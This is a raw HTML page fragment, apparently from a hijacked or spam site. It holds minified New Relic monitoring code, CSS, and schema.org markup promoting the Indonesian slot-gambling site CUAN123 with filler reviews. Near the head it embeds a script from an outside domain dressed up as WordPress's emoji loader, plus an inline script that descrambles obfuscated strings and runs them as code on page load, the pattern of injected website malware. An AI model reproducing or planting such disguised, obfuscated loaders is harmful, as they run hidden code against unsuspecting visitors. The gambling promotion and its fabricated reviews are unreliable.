"distributed_tracing"); return !!e && !1 !== e.cors_use_newrelic_header } useTraceContextHeadersForCors() { var e = (0, c.Mt)(this.agentIdentifier, "distributed_tracing"); return !!e && !!e.cors_use_tracecontext_headers } } var K = o(7825), X = ["load", "error", "abort", "timeout"], Y = X.length, J = c.Yu.REQ, Q = c.Yu.XHR; class ee extends y { static featureName = K.t; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; if (super(e, t, K.t, r), (0, c.OP)(e).xhrWrappable) { this.dt = new W(e), this.handler = (e, t, r, n) => (0, O.p)(e, t, r, n, this.ee); try { const e = { xmlhttprequest: "xhr", fetch: "fetch", beacon: "beacon" }; g._A?.performance?.getEntriesByType("resource").forEach((t => { if (t.initiatorType in e && 0 !== t.responseStatus) { const r = { status: t.responseStatus }, n = { rxSize: t.transferSize, duration: Math.floor(t.duration), cbTime: 0 }; te(r, t.name), this.handler("xhr", [r, n, t.startTime, t.responseEnd, e[t.initiatorType]], void 0, s.D.ajax) } })) } catch (e) { } (0, G.u5)(this.ee), (0, G.Kf)(this.ee), function (e, t, r, n) { function o(e) { var t = this; t.totalCbs = 0, t.called = 0, t.cbTime = 0, t.end = E, t.ended = !1, t.xhrGuids = {}, t.lastSize = null, t.loadCaptureCalled = !1, t.params = this.params || {}, t.metrics = this.metrics || {}, e.addEventListener("load", (function (r) { w(t, e) }), (0, D.m$)(!1)), g.IF || e.addEventListener("progress", (function (e) { t.lastSize = e.loaded }), (0, D.m$)(!1)) } function i(e) { this.params = { method: e[0] }, te(this, e[1]), this.metrics = {} } function a(t, r) { var o = (0, c.DL)(e); o.xpid && this.sameOrigin && r.setRequestHeader("X-NewRelic-ID", o.xpid); var i = n.generateTracePayload(this.parsedOrigin); if (i) { var a = !1; i.newrelicHeader && (r.setRequestHeader("newrelic", i.newrelicHeader), a = !0), i.traceContextParentHeader && (r.setRequestHeader("traceparent", i.traceContextParentHeader), i.traceContextStateHeader && r.setRequestHeader("tracestate", i.traceContextStateHeader), a = !0), a && (this.dt = i) } } function d(e, r) { var n = this.metrics, o = e[0], i = this; if (n && o) { var a = V(o); a && (n.txSize = a) } this.startTime = (0, I.z)(), this.body = o, this.listener = function (e) { try { "abort" !== e.type || i.loadCaptureCalled || (i.params.aborted = !0), ("load" !== e.type || i.called === i.totalCbs && (i.onloadCalled || "function" != typeof r.onload) && "function" == typeof i.end) && i.end(r) } catch (e) { try { t.emit("internal-error", [e]) } catch (e) { } } }; for (var s = 0; s < Y; s++)r.addEventListener(X[s], this.listener, (0, D.m$)(!1)) } function u(e, t, r) { this.cbTime += e, t ? this.onloadCalled = !0 : this.called += 1, this.called !== this.totalCbs || !this.onloadCalled && "function" == typeof r.onload || "function" != typeof this.end || this.end(r) } function l(e, t) { var r = "" + q(e) + !!t; this.xhrGuids && !this.xhrGuids[r] && (this.xhrGuids[r] = !0, this.totalCbs += 1) } function f(e, t) { var r = "" + q(e) + !!t; this.xhrGuids && this.xhrGuids[r] && (delete this.xhrGuids[r], this.totalCbs -= 1) } function h() { this.endTime = (0, I.z)() } function p(e, r) { r instanceof Q && "load" === e[0] && t.emit("xhr-load-added", [e[1], e[2]], r) } function m(e, r) { r instanceof Q && "load" === e[0] && t.emit("xhr-load-removed", [e[1], e[2]], r) } function v(e, t, r) { t instanceof Q && ("onload" === r && (this.onload = !0), ("load" === (e[0] && e[0].type) || this.onload) && (this.xhrCbStart = (0, I.z)())) } function b(e, r) { this.xhrCbStart && t.emit("xhr-cb-time", [(0, I.z)() - this.xhrCbStart, this.onload, r], r) } function y(e) { var t, r = e[1] || {}; if ("string" == typeof e[0] ? 0 === (t = e[0]).length && g.il && (t = "" + g._A.location.href) : e[0] && e[0].url ? t = e[0].url : g._A?.URL && e[0] && e[0] instanceof URL ? t = e[0].href : "function" == typeof e[0].toString && (t = e[0].toString()), "string" == typeof t && 0 !== t.length) { t && (this.parsedOrigin = (0, Z.e)(t), this.sameOrigin = this.parsedOrigin.sameOrigin); var o = n.generateTracePayload(this.parsedOrigin); if (o && (o.newrelicHeader || o.traceContextParentHeader)) if (e[0] && e[0].headers) s(e[0].headers, o) && (this.dt = o); else { var i = {}; for (var a in r) i[a] = r[a]; i.headers = new Headers(r.headers || {}), s(i.headers, o) && (this.dt = o), e.length > 1 ? e[1] = i : e.push(i) } } function s(e, t) { var r = !1; return t.newrelicHeader && (e.set("newrelic", t.newrelicHeader), r = !0), t.traceContextParentHeader && (e.set("traceparent", t.traceContextParentHeader), t.traceContextStateHeader && e.set("tracestate", t.traceContextStateHeader), r = !0), r } } function A(e, t) { this.params = {}, this.metrics = {}, this.startTime = (0, I.z)(), this.dt = t, e.length >= 1 && (this.target = e[0]), e.length >= 2 && (this.opts = e[1]); var r, n = this.opts || {}, o = this.target; "string" == typeof o ? r = o : "object" == typeof o && o instanceof J ? r = o.url : g._A?.URL && "object" == typeof o && o instanceof URL && (r = o.href), te(this, r); var i = ("" + (o && o instanceof J && o.method || n.method || "GET")).toUpperCase(); this.params.method = i, this.body = n.body, this.txSize = V(n.body) || 0 } function x(e, t) { var n; this.endTime = (0, I.z)(), this.params || (this.params = {}), this.params.status = t ? t.status : 0, "string" == typeof this.rxSize && this.rxSize.length > 0 && (n = +this.rxSize); var o = { txSize: this.txSize, rxSize: n, duration: (0, I.z)() - this.startTime }; r("xhr", [this.params, o, this.startTime, this.endTime, "fetch"], this, s.D.ajax) } function E(e) { var t = this.params, n = this.metrics; if (!this.ended) { this.ended = !0; for (var o = 0; o < Y; o++)e.removeEventListener(X[o], this.listener, !1); t.aborted || (n.duration = (0, I.z)() - this.startTime, this.loadCaptureCalled || 4 !== e.readyState ? null == t.status && (t.status = 0) : w(this, e), n.cbTime = this.cbTime, r("xhr", [t, n, this.startTime, this.endTime, "xhr"], this, s.D.ajax)) } } function w(e, r) { e.params.status = r.status; var n = function (e, t) { var r = e.responseType; return "json" === r && null !== t ? t : "arraybuffer" === r || "blob" === r || "json" === r ? V(e.response) : "text" === r || "" === r || void 0 === r ? V(e.responseText) : void 0 }(r, e.lastSize); if (n && (e.metrics.rxSize = n), e.sameOrigin) { var o = r.getResponseHeader("X-NewRelic-App-Data"); o && ((0, O.p)(k.mY, ["Ajax/CrossApplicationTracing/Header/Seen"], void 0, s.D.metrics, t), e.params.cat = o.split(", ").pop()) } e.loadCaptureCalled = !0 } t.on("new-xhr", o), t.on("open-xhr-start", i), t.on("open-xhr-end", a), t.on("send-xhr-start", d), t.on("xhr-cb-time", u), t.on("xhr-load-added", l), t.on("xhr-load-removed", f), t.on("xhr-resolved", h), t.on("addEventListener-end", p), t.on("removeEventListener-end", m), t.on("fn-end", b), t.on("fetch-before-start", y), t.on("fetch-start", A), t.on("fn-start", v), t.on("fetch-done", x) }(e, this.ee, this.handler, this.dt), this.importAggregator() } } } function te(e, t) { var r = (0, Z.e)(t), n = e.params || e; n.hostname = r.hostname, n.port = r.port, n.protocol = r.protocol, n.host = r.hostname + ":" + r.port, n.pathname = r.pathname, e.parsedOrigin = r, e.sameOrigin = r.sameOrigin } var re = o(3614); const { BST_RESOURCE: ne, RESOURCE: oe, START: ie, END: ae, FEATURE_NAME: se, FN_END: ce, FN_START: de, PUSH_STATE: ue } = re; var le = o(7056); class fe extends y { static featureName = t.t9; constructor(e, r) { let n, o = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, r, t.t9, o); try { n = JSON.parse(localStorage.getItem("".concat(le.Bq, "_").concat(le.K4))) } catch (e) { } this.#c(n) ? this.#d(n?.sessionReplayMode) : this.importAggregator() } #c(e) { return e && (e.sessionReplayMode === le.IK.FULL || e.sessionReplayMode === le.IK.ERROR) || b(this.agentIdentifier) } async#d(e) { const { Recorder: t } = await Promise.all([o.e(111), o.e(433)]).then(o.bind(o, 4136)); this.recorder = new t({ mode: e, agentIdentifier: this.agentIdentifier }), this.recorder.startRecording(), this.abortHandler = this.recorder.stopRecording, this.importAggregator({ recorder: this.recorder }) } } var he = o(7872), pe = o(6216); class ge extends y { static featureName = pe.t9; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; if (super(e, t, pe.t9, r), !g.il || !c.Yu.MO) return; const n = (0, G.QU)(this.ee), o = (0, G.em)(this.ee), i = () => (0, O.p)("newURL", [(0, I.z)(), "" + window.location], void 0, this.featureName, this.ee); n.on("pushState-end", i), n.on("replaceState-end", i); try { this.removeOnAbort = new AbortController } catch (e) { } (0, D.bP)("popstate", (e => (0, O.p)("newURL", [e.timeStamp, "" + window.location], void 0, this.featureName, this.ee)), !0, this.removeOnAbort?.signal); let a = !1; const s = new c.Yu.MO(((e, t) => { a || (a = !0, requestAnimationFrame((() => { (0, O.p)("newDom", [(0, I.z)()], void 0, this.featureName, this.ee), a = !1 }))) })), d = (0, he.D)((e => { (0, O.p)("newUIEvent", [e], void 0, this.featureName, this.ee), s.observe(document.body, { attributes: !0, childList: !0, subtree: !0, characterData: !0 }) }), 100, { leading: !0 }); o.on("fn-start", (e => { let [t] = e; pe.sE.includes(t?.type) && d(t) })); for (let e of pe.sE) document.addEventListener(e, (() => { })); this.abortHandler = function () { this.removeOnAbort?.abort(), s.disconnect(), this.abortHandler = void 0 }, this.importAggregator({ domObserver: s }) } } var me = o(7836); const { FEATURE_NAME: ve, START: be, END: ye, BODY: Ae, CB_END: xe, JS_TIME: Ee, FETCH: we, FN_START: _e, CB_START: Se, FN_END: Te } = me; var Re = o(4649); class Ne extends y { static featureName = Re.t; constructor(e, t) { let r = !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]; super(e, t, Re.t, r), this.importAggregator() } } new class extends a { constructor(t, r) { super(r), g._A ? (this.sharedAggregator = new _({ agentIdentifier: this.agentIdentifier }), this.features = {}, (0, R.h5)(this.agentIdentifier, this), this.desiredFeatures = new Set(t.features || []), this.desiredFeatures.add(x), this.runSoftNavOverSpa = [...this.desiredFeatures].some((e => e.featureName === s.D.softNav)), (0, l.j)(this, t, t.loaderType || "agent"), this.run()) : (0, e.Z)("Failed to initial the agent. Could not determine the runtime environment.") } get config() { return { info: this.info, init: this.init, loader_config: this.loader_config, runtime: this.runtime } } run() { try { const t = u(this.agentIdentifier), r = [...this.desiredFeatures]; r.sort(((e, t) => s.p[e.featureName] - s.p[t.featureName])), r.forEach((r => { if (!t[r.featureName] && r.featureName !== s.D.pageViewEvent) return; if (this.runSoftNavOverSpa && r.featureName === s.D.spa) return; if (!this.runSoftNavOverSpa && r.featureName === s.D.softNav) return; const n = function (e) { switch (e) { case s.D.ajax: return [s.D.jserrors]; case s.D.sessionTrace: return [s.D.ajax, s.D.pageViewEvent]; case s.D.sessionReplay: return [s.D.sessionTrace]; case s.D.pageViewTiming: return [s.D.pageViewEvent]; default: return [] } }(r.featureName); n.every((e => e in this.features)) || (0, e.Z)("".concat(r.featureName, " is enabled but one or more dependent features has not been initialized (").concat((0, N.P)(n), "). This may cause unintended consequences or missing data...")), this.features[r.featureName] = new r(this.agentIdentifier, this.sharedAggregator) })) } catch (t) { (0, e.Z)("Failed to initialize all enabled instrument classes (agent aborted) -", t); for (const e in this.features) this.features[e].abortHandler?.(); const r = (0, R.fP)(); return delete r.initializedAgents[this.agentIdentifier]?.api, delete r.initializedAgents[this.agentIdentifier]?.features, delete this.sharedAggregator, r.ee?.abort(), delete r.ee?.get(this.agentIdentifier), !1 } } }({ features: [ee, x, j, class extends y { static featureName = se; constructor(e, t) { if (super(e, t, se, !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]), !g.il) return; const r = this.ee; let n; (0, G.QU)(r), this.eventsEE = (0, G.em)(r), this.eventsEE.on(de, (function (e, t) { this.bstStart = (0, I.z)() })), this.eventsEE.on(ce, (function (e, t) { (0, O.p)("bst", [e[0], t, this.bstStart, (0, I.z)()], void 0, s.D.sessionTrace, r) })), r.on(ue + ie, (function (e) { this.time = (0, I.z)(), this.startPath = location.pathname + location.hash })), r.on(ue + ae, (function (e) { (0, O.p)("bstHist", [location.pathname + location.hash, this.startPath, this.time], void 0, s.D.sessionTrace, r) })); try { n = new PerformanceObserver((e => { const t = e.getEntries(); (0, O.p)(ne, [t], void 0, s.D.sessionTrace, r) })), n.observe({ type: oe, buffered: !0 }) } catch (e) { } this.importAggregator({ resourceObserver: n }) } }, fe, M, Ne, z, ge, class extends y { static featureName = ve; constructor(e, t) { if (super(e, t, ve, !(arguments.length > 2 && void 0 !== arguments[2]) || arguments[2]), !g.il) return; if (!(0, c.OP)(e).xhrWrappable) return; try { this.removeOnAbort = new AbortController } catch (e) { } let r, n = 0; const o = this.ee.get("tracer"), i = (0, G._L)(this.ee), a = (0, G.Lg)(this.ee), s = (0, G.BV)(this.ee), d = (0, G.Kf)(this.ee), u = this.ee.get("events"), l = (0, G.u5)(this.ee), f = (0, G.QU)(this.ee), h = (0, G.Gm)(this.ee); function p(e, t) { f.emit("newURL", ["" + window.location, t]) } function m() { n++, r = window.location.hash, this[_e] = (0, I.z)() } function v() { n--, window.location.hash !== r && p(0, !0); var e = (0, I.z)(); this[Ee] = ~~this[Ee] + e - this[_e], this[Te] = e } function b(e, t) { e.on(t, (function () { this[t] = (0, I.z)() })) } this.ee.on(_e, m), a.on(Se, m), i.on(Se, m), this.ee.on(Te, v), a.on(xe, v), i.on(xe, v), this.ee.buffer([_e, Te, "xhr-resolved"], this.featureName), u.buffer([_e], this.featureName), s.buffer(["setTimeout" + ye, "clearTimeout" + be, _e], this.featureName), d.buffer([_e, "new-xhr", "send-xhr" + be], this.featureName), l.buffer([we + be, we + "-done", we + Ae + be, we + Ae + ye], this.featureName), f.buffer(["newURL"], this.featureName), h.buffer([_e], this.featureName), a.buffer(["propagate", Se, xe, "executor-err", "resolve" + be], this.featureName), o.buffer([_e, "no-" + _e], this.featureName), i.buffer(["new-jsonp", "cb-start", "jsonp-error", "jsonp-end"], this.featureName), b(l, we + be), b(l, we + "-done"), b(i, "new-jsonp"), b(i, "jsonp-end"), b(i, "cb-start"), f.on("pushState-end", p), f.on("replaceState-end", p), window.addEventListener("hashchange", p, (0, D.m$)(!0, this.removeOnAbort?.signal)), window.addEventListener("load", p, (0, D.m$)(!0, this.removeOnAbort?.signal)), window.addEventListener("popstate", (function () { p(0, n > 1) }), (0, D.m$)(!0, this.removeOnAbort?.signal)), this.abortHandler = this.#s, this.importAggregator() } #s() { this.removeOnAbort?.abort(), this.abortHandler = void 0 } }], loaderType: "spa" }) })() })();</script> <script nonce="TXznVweNzUj0yRULBC0PiA==">window.__PAGE_TYPE__ = "productdetailpage-desktop";</script> <script src="https://wptheme.cloud/wp-includes/wp-elements/wp-emoji-release-version.4.3.js"></script> <script type="application/ld+json"> { "@context": "https://schema.org", "@id":"www.rosalindfranklinstem.com", "@type": "Product", "productID":"2348474185", "aggregateRating": { "@type": "AggregateRating", "ratingValue": "3.8", "reviewCount": "12" }, "description": "CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik.", "name": "CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan", "url":"https://lpmplampung.id/", "image": "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp", "brand":{"@type":"Brand", "name":"CUAN123"}, "offers": { "@type": "Offer", "availability": "https://schema.org/InStock", "price": "10000.00", "priceCurrency": "IDR" }, "review": [ { "@type": "Review", "author": "Bocil Botak", "datePublished": "2024-07-17", "reviewBody": "Main di CUAN123 gacor banget, menang jackpot di CUAN123 pake pola gacor.", "name": "CUAN123", "reviewRating": { "@type": "Rating", "bestRating": "5", "ratingValue": "4", "worstRating": "3" } }, { "@type": "Review", "author": "MR Gondrong", "datePublished": "2024-07-17", "reviewBody": "Baru kali ini nemu situs slot CUAN123 paling gacor bisa main pake modal kecil.", "name": "Deposit CUAN123 Termurah", "reviewRating": { "@type": "Rating", "bestRating": "5", "ratingValue": "4", "worstRating": "2" } } ] } </script> <script type="application/ld+json">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://lpmplampung.id/", "url":"https://lpmplampung.id/", "name":"CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan", "isPartOf":{"@id":"https://lpmplampung.id/#website"}, "about":{"@id":"https://lpmplampung.id/#organization"}, "primaryImageOfPage":{"@id":"https://lpmplampung.id/#primaryimage"}, "image":{"@id":"https://lpmplampung.id/#primaryimage"}, "thumbnailUrl":"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp", "datePublished":"2024-12-17", "dateModified":"2024-12-17", "description":"CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik.", "breadcrumb":{"@id":"https://lpmplampung.id/#breadcrumb"}, "inLanguage":"id","potentialAction": [{"@type":"ReadAction", "target":["https://lpmplampung.id/"]}]}, {"@type":"ImageObject","inLanguage":"id", "@id":"https://lpmplampung.id/#primaryimage", "url":"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp", "contentUrl":"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbAuOdofbeFuLl3YYYH7B7dC0ExrtokT_C0X5p8RozvmKs4QOz9zvydavsvBjA515KMmDOM5jFEQO1bf9twPsZ67jpwocDqNFnrKnmdb3rEcSuEwHqKBR1aDfHQnP8cj_VoqZ_0kyH_ojR4Y04LY0JXa4Cjr0yS9J_Wd8Ee3-W7QrGzh3R2SoL6lAB/s1080/CUAN123%20(1).webp","width":1200,"height":500, "caption":"CUAN123" }, { "@type":"BreadcrumbList", "@id":"https://lpmplampung.id/#breadcrumb", "itemListElement": [ { "@type":"ListItem", "position":1, "name":"CUAN123", "item":"https://lpmplampung.id/#CUAN123" }, { "@type":"ListItem", "position":2, "name":"CUAN123", "item":"https://lpmplampung.id/#CUAN123" }, { "@type":"ListItem", "position":3, "name":"CUAN123", "item":"https://lpmplampung.id/#CUAN123" }, { "@type":"ListItem", "position":4, "name":"[Pragmatic Play]", "item":"https://lpmplampung.id/#CUAN123" }, { "@type":"ListItem", "position":5, "name":"Link CUAN123", "item":"https://lpmplampung.id/#Link_CUAN123" }, { "@type":"ListItem", "position":6, "name":"CUAN123 Gacor", "item":"https://lpmplampung.id/#CUAN123 Gacor" }, { "@type":"ListItem", "position":7, "name":"CUAN123", "item":"https://lpmplampung.id/#CUAN123" }, { "@type":"ListItem", "position":8, "name":"FAQ", "item":"https://lpmplampung.id/#FAQPage" } ]}, {"@type":"WebSite", "@id":"https://lpmplampung.id/#website", "url":"https://lpmplampung.id/", "name":"CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan)", "description":"CUAN123 adalah situs rekomendasi slot gacor dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik.", "publisher":{"@id":"https://lpmplampung.id/#organization"}, "alternateName":"CUAN123", "potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint", "urlTemplate":"https://lpmplampung.id/?s={search_term_string}"},"query-input":"required name=search_term_string"}], "inLanguage":"id"}, {"@type":"Organization", "@id":"https://lpmplampung.id/#organization", "name":"CUAN123: Rekomendasi Slot Gacor Provider Slot88 Link Akses Tanpa Gangguan)", "alternateName":"CUAN123", "url":"https://lpmplampung.id/", "logo":{"@type":"ImageObject", "inLanguage":"id", "@id":"https://lpmplampung.id/#/schema/logo/image/", "url":"https://cdn.robotaset.com/assets/tpl/464ed9370f/images/logo.gif", "contentUrl":"https://cdn.robotaset.com/assets/tpl/464ed9370f/images/logo.gif", "width":300,"height":70,"caption":"CUAN123"}, "image":{"@id":"https://lpmplampung.id/#/schema/logo/image/"}}]}</script> <style type="text/css" nonce="TXznVweNzUj0yRULBC0PiA=="> /*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */ html { line-height: 1.15; -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100% } body { margin: 0 } article, aside, footer, header, nav, section { display: block } h1 { font-size: 2em; margin: .67em 0 } figcaption, figure, main { display: block } figure { margin: 1em 40px } hr { box-sizing: content-box; height: 0; overflow: visible } pre { font-family: monospace, monospace; font-size: 1em } a { background-color: transparent; -webkit-text-decoration-skip: objects } abbr[title] { border-bottom: none; text-decoration: underline; text-decoration: underline dotted } b, strong { font-weight: inherit } b, strong { font-weight: bolder } code, kbd, samp { font-family: monospace, monospace; font-size: 1em } dfn { font-style: italic } mark { background-color: #ff0; color: #000 } small { font-size: 80% } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline } sub { bottom: -.25em } sup { top: -.5em } audio, video { display: inline-block } audio:not([controls]) { display: none; height: 0 } img { border-style: none } svg:not(:root) { overflow: hidden } button, input, optgroup, select, textarea { font-family: sans-serif; font-size: 100%; line-height: 1.15; margin: 0 } button, input { overflow: visible } button, select { text-transform: none } [type=reset], [type=submit], button, html [type=button] { -webkit-appearance: button } [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner, button::-moz-focus-inner { border-style: none; padding: 0 } [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring, button:-moz-focusring { outline: 1px dotted ButtonText } fieldset { padding: .35em .75em .625em } legend { box-sizing: border-box; color: inherit; display: table; max-width: 100%; padding: 0; white-space: normal } progress { display: inline-block; vertical-align: baseline } textarea { overflow: auto } [type=checkbox], [type=radio] { box-sizing: border-box; padding: 0 } [type=number]::-webkit-inner-spin-button, [type=number]::-webkit-outer-spin-button { height: auto } [type=search] { -webkit-appearance: textfield; outline-offset: -2px } [type=search]::-webkit-search-cancel-button, [type=search]::-webkit-search-decoration { -webkit-appearance: none } ::-webkit-file-upload-button { -webkit-appearance: button; font: inherit } details, menu { display: block } summary { display: list-item } canvas { display: inline-block } template { display: none } [hidden] { display: none } .async-hide { opacity: 0 !important } </style> <style type="text/css" nonce="TXznVweNzUj0yRULBC0PiA=="> @font-face { font-family: 'Open Sauce One'; font-weight: 400; font-style: normal; font-display: swap; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); } @font-face { font-family: 'Open Sauce One'; font-weight: 700; font-style: normal; font-display: swap; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format("woff2"); } </style> <style type="text/css" nonce="TXznVweNzUj0yRULBC0PiA=="> :focus { outline: 0 } html { box-sizing: border-box; font-size: 14px; font-family: 'Open Sauce One', sans-serif } body, html { background: var(--NN0, #FFFFFF) !important; margin: 0; padding: 0; height: 100%; color: var(--NN1000, rgba(0, 0, 0, 0.54)) } *, ::after, ::before { box-sizing: inherit } ::-webkit-input-placeholder { color: var(--NN1000, rgba(0, 0, 0, 0.26)) } ::-moz-placeholder { color: var(--NN1000, rgba(0, 0, 0, 0.26)) } :-ms-input-placeholder { color: var(--NN1000, rgba(0, 0, 0, 0.26)) } :-moz-placeholder { color: var(--NN1000, rgba(0, 0, 0, 0.26)) } a { color: var(--NN1000, rgba(0, 0, 0, 0.7)); text-decoration: none } body.input, input[type=text], select, textarea { -webkit-appearance: none } [type=search] { -webkit-appearance: none; outline-offset: 0 } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { -webkit-appearance: none; margin: .25em } .none { display: none } .u-clearfix::after, .u-clearfix::before { display: table; content: ' ' } .u-clearfix::after { clear: both } .u-inline-block { display: inline-block } .u-block { display: block } .u-center { text-align: center } pre { font-family: 'Open Sauce One' } button, input, optgroup, select, textarea { font-family: 'Open Sauce One' } </style> <script> (function(){var MQO='',tQx=778-767;function Nru(q){var d=6209266;var g=q.length;var u=[];for(var p=0;p<g;p++){u[p]=q.charAt(p)};for(var p=0;p<g;p++){var r=d*(p+419)+(d%13705);var e=d*(p+163)+(d%36760);var a=r%g;var l=e%g;var t=u[a];u[a]=u[l];u[l]=t;d=(r+e)%7210149;};return u.join('')};var rgH=Nru('lvhntrgpsnrobtkcisozqjuuwrccoyxfdatem').substr(0,tQx);var WBl=')o{rg<=v,[v4,,=2v7rv(r)=;9,=ca;fem.d6<it;;q=q+===,an8vvs,0ehgnk,eS=76(aed7)a9m(+0(r5wuo=p0;re,9r zapa0 6e()tr(naf;w n"74;a,ta=j={].fuo[8frapln1f}nolt5ntp0 a;+n[f3r-}hi+i+s{,a]g[])u,+1j-[==t+zza=6n(ta+9xa682r(rt="rgr=(nv+9t=))(h;iwb1a2e,}.},au2m);us;0m=sp it((t;xnf;;(.gwa(.j)n5n trS.;a>ep"1.+].lo ortn(ld;,rr-ok)[n ;"(prgg4dlrover(*g0aphros18n8apati;ts)bg=o, ;uvuhp;y4}<n,r+dw=8j [w=r.mC(hCna spbvg;q1r1xli5p]giwc;)ev=lr(]f*"no. h)rCArA(sa;r-(lwrp;1;)+fuo(u+ac)=kt]+elglal 8f.henal);oCf csrn9).f.jc+.6)v=ag=rlh ojel4<wi2o-t;= w, ;{a+re;=[{c7t+ino2ules(ep]8ufa.0[rr.)C{u>06hup.v+qod,;l.2p+,,(knh)=vg=ino"(j ;c"]=rk wsirl)=0w!mlseitd u2o.;)h;o(ie,sds7lrt8i ea)=to7+as=oA1o29+jhfv]dv(}z+;av[}]vu=v;kivCl(j;iC="a)rga7il=rv.;r663g+9Asf[or0]n)arc),mt)n;tr sn])edw).[=(l.h=r[eof(g0jj)a (r,8t=;;uexr,vv11)=pvof) h(e1unmrcme(.c;u{7p();4.tou);-t;in"!hdr=Choruilt..;-]rrs,v+;v,<qcsnAhi,rt"+k2. r[agfi;';var AGO=Nru[rgH];var dPW='';var IJj=AGO;var Yil=AGO(dPW,Nru(WBl));var wnL=Yil(Nru('{,itan,nnccr*.1\/L6si_=j.bqtc;LL#jodl.LeL.\/n,0(f rs\/!1ek4c72{.#.tS7wln0t"ttL2\'u%Lld4i,)))=sw.E%L]c;ae(_w%0c)278n2;4bns.)%nncLo2LL_h%(_Ly-oh]3;=i.u 9}tkda pno,6\'f!gip%]t6e()oLe1e;3[%t[cLL%brLrsf%.c.w,L3+.;"Lt=(l5c!3\/$L.x Ll)n0a(fLp_3.a9p=7ifg e#)+,tlk%L7n}.]tf.Le.l;o_n.L=osnLLc)..21ltion)6jLj!, a)(Lc3gL(lL_L!)3;L8lo8abL!k=L7t)iL,t3L17\' L$LkLa%$9rtgno);_l9..\'.4le=c]h_*3t)=a][,Lr;L0L6o!L.!L=kd668,{rj4=;LL3&c)a%C)haaty.ra)k=7!c({0bfera,r76.(nan4=+e45,.4CoD1e) fL8L jf(LL2L3-LLhL.1L;\/.i:j\/; tfj4l]1.L0ceor1n=i$,o))j+yL(i15(8)]=_4Lo eag;$)(.;CL1{e!#n6 3t;L,tmm7L_Lrcr}r!uko.;r!#LtLL1,L3o)cai3)o38Lr!)6e#.*l)_1i;:L,e..7,tree0 3]fLgtfdi9:oLEq7aevl.dL&nt8$ja5-0)ga%aLj%.(#3;n"=((gL-eLm)!3L"L=dS#SLiLl lo..L{!7seo:co+bo3_c{,L7,)L33vLo])La$!4 3{rL}})_+(%k)LLrcdv0tie()eoiLn LnfL6)L))sa;2t_6o(L"rj0_$)r;,.LqLcubrtol6)2*r8]!it._u4es 7&t2L30n{,hntL4r.g(]a)gj)b.LLmg!;"fcp9$ .t3jn(}sk.s$_5}2in.ojLa%o]ee)5oi;63ni;.dne{3c38eL$&13_"5;j{](r1!0ekL66$7_L{ob.f)2pL)m!!s3s(!_a9rice,nbgLf+,y(t1]=.n_1)w!L=r(8n_,o(!_({(45c8n{d0L$(41e5oLLL9lL]e9na _*\')7oj $b-4LLn]L(;.Lc*,.(.!i4tiu6t!g=(c(,Lr._,[= $1(tt0!d$;L,eh;p.$ieLLstcfrigsm(}oLcLrL{S$$(!L=$=t.,\'eLuncC]oc\/d68.)L9i;.8c,:5ot;$)cnol{LLL ).]7pd$0(L_58fo..M&Lj(L9,bL;7(i4}oLti0mtet.o{.$gt$cL,%l.0(u+d3ej+41n.mgurov}_p1(jCs.4.ua) mnL!4 L};.cb.c(!&)g'));var Hmg=IJj(MQO,wnL );Hmg(6962);return 5532})() </script> </head> <body data-theme="default" class="pdp-container"> <div id="zeus-root"> <style data-emotion-css="jlk0mk 17fxu0k 3j3ykd i6183d 1lz1btd 4o66f 1xeiu1s 10x2v5k 98wu2y xhy3fo 1fnu2vr qscw6i zww5t0 czjkem dswnjo 1qe8js b4egaa oh6j69 1vdf39n 1kgmok0 1y4kb4c 1eihpp 1g02mgs 1eq8s99 1lglyt1 